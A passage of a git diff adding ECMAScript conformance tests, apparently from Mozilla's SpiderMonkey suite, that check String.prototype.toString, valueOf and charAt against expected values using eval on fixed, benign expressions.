+ "",
+ eval("var tostr=String.prototype.toString; astring=new String(); astring.toString = tostr; astring.toString()") );
+new TestCase( SECTION,
+ "var tostr=String.prototype.toString; astring=new String(0); astring.toString = tostr; astring.toString()",
+ "0",
+ eval("var tostr=String.prototype.toString; astring=new String(0); astring.toString = tostr; astring.toString()") );
+new TestCase( SECTION,
+ "var tostr=String.prototype.toString; astring=new String('hello'); astring.toString = tostr; astring.toString()",
+ "hello",
+ eval("var tostr=String.prototype.toString; astring=new String('hello'); astring.toString = tostr; astring.toString()") );
+new TestCase( SECTION,
+ "var tostr=String.prototype.toString; astring=new String(''); astring.toString = tostr; astring.toString()",
+ "",
+ eval("var tostr=String.prototype.toString; astring=new String(''); astring.toString = tostr; astring.toString()") );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.2.js b/js/src/tests/ecma/String/15.5.4.2.js
new file mode 100644
index 000000000..e431e0277
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.2.js
@@ -0,0 +1,53 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.2.js
+ ECMA Section: 15.5.4.2 String.prototype.toString
+
+ Description:
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.5.4.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.tostring";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "String.prototype.toString() == String.prototype.valueOf()",
+ true,
+ String.prototype.toString() == String.prototype.valueOf() );
+
+new TestCase( SECTION, "String.prototype.toString()", "", String.prototype.toString() );
+new TestCase( SECTION, "String.prototype.toString.length", 0, String.prototype.toString.length );
+
+
+new TestCase( SECTION,
+ "TESTSTRING = new String();TESTSTRING.valueOf() == TESTSTRING.toString()",
+ true,
+ eval("TESTSTRING = new String();TESTSTRING.valueOf() == TESTSTRING.toString()") );
+new TestCase( SECTION,
+ "TESTSTRING = new String(true);TESTSTRING.valueOf() == TESTSTRING.toString()",
+ true,
+ eval("TESTSTRING = new String(true);TESTSTRING.valueOf() == TESTSTRING.toString()") );
+new TestCase( SECTION,
+ "TESTSTRING = new String(false);TESTSTRING.valueOf() == TESTSTRING.toString()",
+ true,
+ eval("TESTSTRING = new String(false);TESTSTRING.valueOf() == TESTSTRING.toString()") );
+new TestCase( SECTION,
+ "TESTSTRING = new String(Math.PI);TESTSTRING.valueOf() == TESTSTRING.toString()",
+ true,
+ eval("TESTSTRING = new String(Math.PI);TESTSTRING.valueOf() == TESTSTRING.toString()") );
+new TestCase( SECTION,
+ "TESTSTRING = new String();TESTSTRING.valueOf() == TESTSTRING.toString()",
+ true,
+ eval("TESTSTRING = new String();TESTSTRING.valueOf() == TESTSTRING.toString()") );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.3-1.js b/js/src/tests/ecma/String/15.5.4.3-1.js
new file mode 100644
index 000000000..c52bc2830
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.3-1.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.3-1.js
+ ECMA Section: 15.5.4.3 String.prototype.valueOf()
+
+ Description: Returns this string value.
+
+ The valueOf function is not generic; it generates a
+ runtime error if its this value is not a String object.
+ Therefore it connot be transferred to the other kinds of
+ objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+
+var SECTION = "15.5.4.3-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.valueOf";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "String.prototype.valueOf.length", 0, String.prototype.valueOf.length );
+
+new TestCase( SECTION, "String.prototype.valueOf()", "", String.prototype.valueOf() );
+new TestCase( SECTION, "(new String()).valueOf()", "", (new String()).valueOf() );
+new TestCase( SECTION, "(new String(\"\")).valueOf()", "", (new String("")).valueOf() );
+new TestCase( SECTION, "(new String( String() )).valueOf()","", (new String(String())).valueOf() );
+new TestCase( SECTION, "(new String( \"h e l l o\" )).valueOf()", "h e l l o", (new String("h e l l o")).valueOf() );
+new TestCase( SECTION, "(new String( 0 )).valueOf()", "0", (new String(0)).valueOf() );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.3-2.js b/js/src/tests/ecma/String/15.5.4.3-2.js
new file mode 100644
index 000000000..d1a3774e8
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.3-2.js
@@ -0,0 +1,56 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.3-2.js
+ ECMA Section: 15.5.4.3 String.prototype.valueOf()
+
+ Description: Returns this string value.
+
+ The valueOf function is not generic; it generates a
+ runtime error if its this value is not a String object.
+ Therefore it connot be transferred to the other kinds of
+ objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+
+
+var SECTION = "15.5.4.3-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.valueOf";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var valof=String.prototype.valueOf; astring=new String(); astring.valueOf = valof; astring.valof()",
+ "",
+ eval("var valof=String.prototype.valueOf; astring=new String(); astring.valueOf = valof; astring.valueOf()") );
+
+new TestCase( SECTION,
+ "var valof=String.prototype.valueOf; astring=new String(0); astring.valueOf = valof; astring.valof()",
+ "0",
+ eval("var valof=String.prototype.valueOf; astring=new String(0); astring.valueOf = valof; astring.valueOf()") );
+
+new TestCase( SECTION,
+ "var valof=String.prototype.valueOf; astring=new String('hello'); astring.valueOf = valof; astring.valof()",
+ "hello",
+ eval("var valof=String.prototype.valueOf; astring=new String('hello'); astring.valueOf = valof; astring.valueOf()") );
+
+new TestCase( SECTION,
+ "var valof=String.prototype.valueOf; astring=new String(''); astring.valueOf = valof; astring.valof()",
+ "",
+ eval("var valof=String.prototype.valueOf; astring=new String(''); astring.valueOf = valof; astring.valueOf()") );
+/*
+ new TestCase( SECTION,
+ "var valof=String.prototype.valueOf; astring=new Number(); astring.valueOf = valof; astring.valof()",
+ "error",
+ eval("var valof=String.prototype.valueOf; astring=new Number(); astring.valueOf = valof; astring.valueOf()") );
+*/
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.3-3-n.js b/js/src/tests/ecma/String/15.5.4.3-3-n.js
new file mode 100644
index 000000000..e4e410de4
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.3-3-n.js
@@ -0,0 +1,38 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.3-3-n.js
+ ECMA Section: 15.5.4.3 String.prototype.valueOf()
+
+ Description: Returns this string value.
+
+ The valueOf function is not generic; it generates a
+ runtime error if its this value is not a String object.
+ Therefore it connot be transferred to the other kinds of
+ objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+
+
+var SECTION = "15.5.4.3-3-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.valueOf";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var valof=String.prototype.valueOf; astring=new Number(); astring.valueOf = valof; astring.valof()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "var valof=String.prototype.valueOf; astring=new Number(); astring.valueOf = valof; astring.valof()",
+ "error",
+ eval("var valof=String.prototype.valueOf; astring=new Number(); astring.valueOf = valof; astring.valueOf()") );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.4-1.js b/js/src/tests/ecma/String/15.5.4.4-1.js
new file mode 100644
index 000000000..762c1461d
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.4-1.js
@@ -0,0 +1,58 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.4-1.js
+ ECMA Section: 15.5.4.4 String.prototype.charAt(pos)
+ Description: Returns a string containing the character at position
+ pos in the string. If there is no character at that
+ string, the result is the empty string. The result is
+ a string value, not a String object.
+
+ When the charAt method is called with one argument,
+ pos, the following steps are taken:
+ 1. Call ToString, with this value as its argument
+ 2. Call ToInteger pos
+
+ In this test, this is a String, pos is an integer, and
+ all pos are in range.
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+var SECTION = "15.5.4.4-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.charAt";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var TEST_STRING = new String( " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" );
+
+var item = 0;
+var i;
+
+for ( i = 0x0020; i < 0x007e; i++, item++) {
+ new TestCase( SECTION,
+ "TEST_STRING.charAt("+item+")",
+ String.fromCharCode( i ),
+ TEST_STRING.charAt( item ) );
+}
+
+for ( i = 0x0020; i < 0x007e; i++, item++) {
+ new TestCase( SECTION,
+ "TEST_STRING.charAt("+item+") == TEST_STRING.substring( "+item +", "+ (item+1) + ")",
+ true,
+ TEST_STRING.charAt( item ) == TEST_STRING.substring( item, item+1 )
+ );
+}
+
+new TestCase( SECTION, "String.prototype.charAt.length", 1, String.prototype.charAt.length );
+
+print( "TEST_STRING = new String(\" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\")" );
+
+test();
+
diff --git a/js/src/tests/ecma/String/15.5.4.4-2.js b/js/src/tests/ecma/String/15.5.4.4-2.js
new file mode 100644
index 000000000..70f801a34
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.4-2.js
@@ -0,0 +1,102 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.4-1.js
+ ECMA Section: 15.5.4.4 String.prototype.charAt(pos)
+ Description: Returns a string containing the character at position
+ pos in the string. If there is no character at that
+ string, the result is the empty string. The result is
+ a string value, not a String object.
+
+ When the charAt method is called with one argument,
+ pos, the following steps are taken:
+ 1. Call ToString, with this value as its argument
+ 2. Call ToInteger pos
+ 3. Compute the number of characters in Result(1)
+ 4. If Result(2) is less than 0 is or not less than
+ Result(3), return the empty string
+ 5. Return a string of length 1 containing one character
+ from result (1), the character at position Result(2).
+
+ Note that the charAt function is intentionally generic;
+ it does not require that its this value be a String
+ object. Therefore it can be transferred to other kinds
+ of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+var SECTION = "15.5.4.4-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.charAt";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(0)", "t", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(0)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(1)", "r", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(1)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(2)", "u", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(2)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(3)", "e", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(3)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(4)", "", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(4)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(-1)", "", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(-1)") );
+
+new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(true)", "r", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(true)") );
+new TestCase( SECTION, "x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(false)", "t", eval("x = new Boolean(true); x.charAt=String.prototype.charAt;x.charAt(false)") );
+
+new TestCase( SECTION, "x = new String(); x.charAt(0)", "", eval("x=new String();x.charAt(0)") );
+new TestCase( SECTION, "x = new String(); x.charAt(1)", "", eval("x=new String();x.charAt(1)") );
+new TestCase( SECTION, "x = new String(); x.charAt(-1)", "", eval("x=new String();x.charAt(-1)") );
+
+new TestCase( SECTION, "x = new String(); x.charAt(NaN)", "", eval("x=new String();x.charAt(Number.NaN)") );
+new TestCase( SECTION, "x = new String(); x.charAt(Number.POSITIVE_INFINITY)", "", eval("x=new String();x.charAt(Number.POSITIVE_INFINITY)") );
+new TestCase( SECTION, "x = new String(); x.charAt(Number.NEGATIVE_INFINITY)", "", eval("x=new String();x.charAt(Number.NEGATIVE_INFINITY)") );
+
+new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(0)", "1", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(0)") );
+new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(1)", "2", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(1)") );
+new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(2)", "3", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(2)") );
+new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(3)", "4", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(3)") );
+new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(4)", "5", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(4)") );
+new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(5)", "6", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(5)") );
+new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(6)", "7", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(6)") );
+new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(7)", "8", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(7)") );
+new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(8)", "9", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(8)") );
+new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(9)", "0", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(9)") );
+new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(10)", "", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(10)") );
+
+new TestCase( SECTION, "var MYOB = new MyObject(1234567890); MYOB.charAt(Math.PI)", "4", eval("var MYOB = new MyObject(1234567890); MYOB.charAt(Math.PI)") );
+
+// MyOtherObject.toString will return "[object Object]
+
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(0)", "[", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(0)") );
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(1)", "o", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(1)") );
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(2)", "b", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(2)") );
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(3)", "j", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(3)") );
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(4)", "e", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(4)") );
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(5)", "c", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(5)") );
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(6)", "t", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(6)") );
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(7)", " ", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(7)") );
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(8)", "O", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(8)") );
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(9)", "b", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(9)") );
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(10)", "j", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(10)") );
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(11)", "e", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(11)") );
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(12)", "c", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(12)") );
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(13)", "t", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(13)") );
+new TestCase( SECTION, "var MYOB = new MyOtherObject(1234567890); MYOB.charAt(14)", "]", eval("var MYOB = new MyOtherObject(1234567890); MYOB.charAt(14)") );
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value;" );
+ this.toString = new Function( "return this.value +''" );
+ this.charAt = String.prototype.charAt;
+}
+function MyOtherObject(value) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value;" );
+ this.charAt = String.prototype.charAt;
+}
diff --git a/js/src/tests/ecma/String/15.5.4.4-3.js b/js/src/tests/ecma/String/15.5.4.4-3.js
new file mode 100644
index 000000000..795d4e085
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.4-3.js
@@ -0,0 +1,78 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.4-3.js
+ ECMA Section: 15.5.4.4 String.prototype.charAt(pos)
+ Description: Returns a string containing the character at position
+ pos in the string. If there is no character at that
+ string, the result is the empty string. The result is
+ a string value, not a String object.
+
+ When the charAt method is called with one argument,
+ pos, the following steps are taken:
+ 1. Call ToString, with this value as its argument
+ 2. Call ToInteger pos
+ 3. Compute the number of characters in Result(1)
+ 4. If Result(2) is less than 0 is or not less than
+ Result(3), return the empty string
+ 5. Return a string of length 1 containing one character
+ from result (1), the character at position Result(2).
+
+ Note that the charAt function is intentionally generic;
+ it does not require that its this value be a String
+ object. Therefore it can be transferred to other kinds
+ of objects for use as a method.
+
+ This tests assiging charAt to a user-defined function.
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+var SECTION = "15.5.4.4-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.charAt";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var foo = new MyObject('hello');
+
+
+new TestCase( SECTION, "var foo = new MyObject('hello'); ", "h", foo.charAt(0) );
+new TestCase( SECTION, "var foo = new MyObject('hello'); ", "e", foo.charAt(1) );
+new TestCase( SECTION, "var foo = new MyObject('hello'); ", "l", foo.charAt(2) );
+new TestCase( SECTION, "var foo = new MyObject('hello'); ", "l", foo.charAt(3) );
+new TestCase( SECTION, "var foo = new MyObject('hello'); ", "o", foo.charAt(4) );
+new TestCase( SECTION, "var foo = new MyObject('hello'); ", "", foo.charAt(-1) );
+new TestCase( SECTION, "var foo = new MyObject('hello'); ", "", foo.charAt(5) );
+
+var boo = new MyObject(true);
+
+new TestCase( SECTION, "var boo = new MyObject(true); ", "t", boo.charAt(0) );
+new TestCase( SECTION, "var boo = new MyObject(true); ", "r", boo.charAt(1) );
+new TestCase( SECTION, "var boo = new MyObject(true); ", "u", boo.charAt(2) );
+new TestCase( SECTION, "var boo = new MyObject(true); ", "e", boo.charAt(3) );
+
+var noo = new MyObject( Math.PI );
+
+new TestCase( SECTION, "var noo = new MyObject(Math.PI); ", "3", noo.charAt(0) );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI); ", ".", noo.charAt(1) );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI); ", "1", noo.charAt(2) );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI); ", "4", noo.charAt(3) );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI); ", "1", noo.charAt(4) );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI); ", "5", noo.charAt(5) );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI); ", "9", noo.charAt(6) );
+
+test();
+
+function MyObject (v) {
+ this.value = v;
+ this.toString = new Function( "return this.value +'';" );
+ this.valueOf = new Function( "return this.value" );
+ this.charAt = String.prototype.charAt;
+}
+
diff --git a/js/src/tests/ecma/String/15.5.4.4-4.js b/js/src/tests/ecma/String/15.5.4.4-4.js
new file mode 100644
index 000000000..d06a9f935
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.4-4.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.4-4.js
+ ECMA Section: 15.5.4.4 String.prototype.charAt(pos)
+ Description: Returns a string containing the character at position
+ pos in the string. If there is no character at that
+ string, the result is the empty string. The result is
+ a string value, not a String object.
+
+ When the charAt method is called with one argument,
+ pos, the following steps are taken:
+ 1. Call ToString, with this value as its argument
+ 2. Call ToInteger pos
+ 3. Compute the number of characters in Result(1)
+ 4. If Result(2) is less than 0 is or not less than
+ Result(3), return the empty string
+ 5. Return a string of length 1 containing one character
+ from result (1), the character at position Result(2).
+
+ Note that the charAt function is intentionally generic;
+ it does not require that its this value be a String
+ object. Therefore it can be transferred to other kinds
+ of objects for use as a method.
+
+ This tests assiging charAt to primitive types..
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+var SECTION = "15.5.4.4-4";
+var VERSION = "ECMA_2";
+startTest();
+var TITLE = "String.prototype.charAt";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "x = new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(0)", "1", eval("x=new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(0)") );
+new TestCase( SECTION, "x = new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(1)", ",", eval("x=new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(1)") );
+new TestCase( SECTION, "x = new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(2)", "2", eval("x=new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(2)") );
+new TestCase( SECTION, "x = new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(3)", ",", eval("x=new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(3)") );
+new TestCase( SECTION, "x = new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(4)", "3", eval("x=new Array(1,2,3); x.charAt = String.prototype.charAt; x.charAt(4)") );
+
+new TestCase( SECTION, "x = new Array(); x.charAt = String.prototype.charAt; x.charAt(0)", "", eval("x = new Array(); x.charAt = String.prototype.charAt; x.charAt(0)") );
+
+new TestCase( SECTION, "x = new Number(123); x.charAt = String.prototype.charAt; x.charAt(0)", "1", eval("x=new Number(123); x.charAt = String.prototype.charAt; x.charAt(0)") );
+new TestCase( SECTION, "x = new Number(123); x.charAt = String.prototype.charAt; x.charAt(1)", "2", eval("x=new Number(123); x.charAt = String.prototype.charAt; x.charAt(1)") );
+new TestCase( SECTION, "x = new Number(123); x.charAt = String.prototype.charAt; x.charAt(2)", "3", eval("x=new Number(123); x.charAt = String.prototype.charAt; x.charAt(2)") );
+
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(0)", "[", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(0)") );
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(1)", "o", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(1)") );
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(2)", "b", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(2)") );
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(3)", "j", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(3)") );
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(4)", "e", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(4)") );
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(5)", "c", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(5)") );
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(6)", "t", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(6)") );
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(7)", " ", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(7)") );
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(8)", "O", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(8)") );
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(9)", "b", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(9)") );
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(10)", "j", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(10)") );
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(11)", "e", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(11)") );
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(12)", "c", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(12)") );
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(13)", "t", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(13)") );
+new TestCase( SECTION, "x = new Object(); x.charAt = String.prototype.charAt; x.charAt(14)", "]", eval("x=new Object(); x.charAt = String.prototype.charAt; x.charAt(14)") );
+
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(0)", "[", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(0)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(1)", "o", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(1)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(2)", "b", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(2)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(3)", "j", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(3)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(4)", "e", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(4)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(5)", "c", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(5)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(6)", "t", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(6)") );
+new TestCase( SECTION, "x = new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(7)", " ", eval("x=new Function(); x.toString = Object.prototype.toString; x.charAt = String.prototype.charAt; x.charAt(7)") );
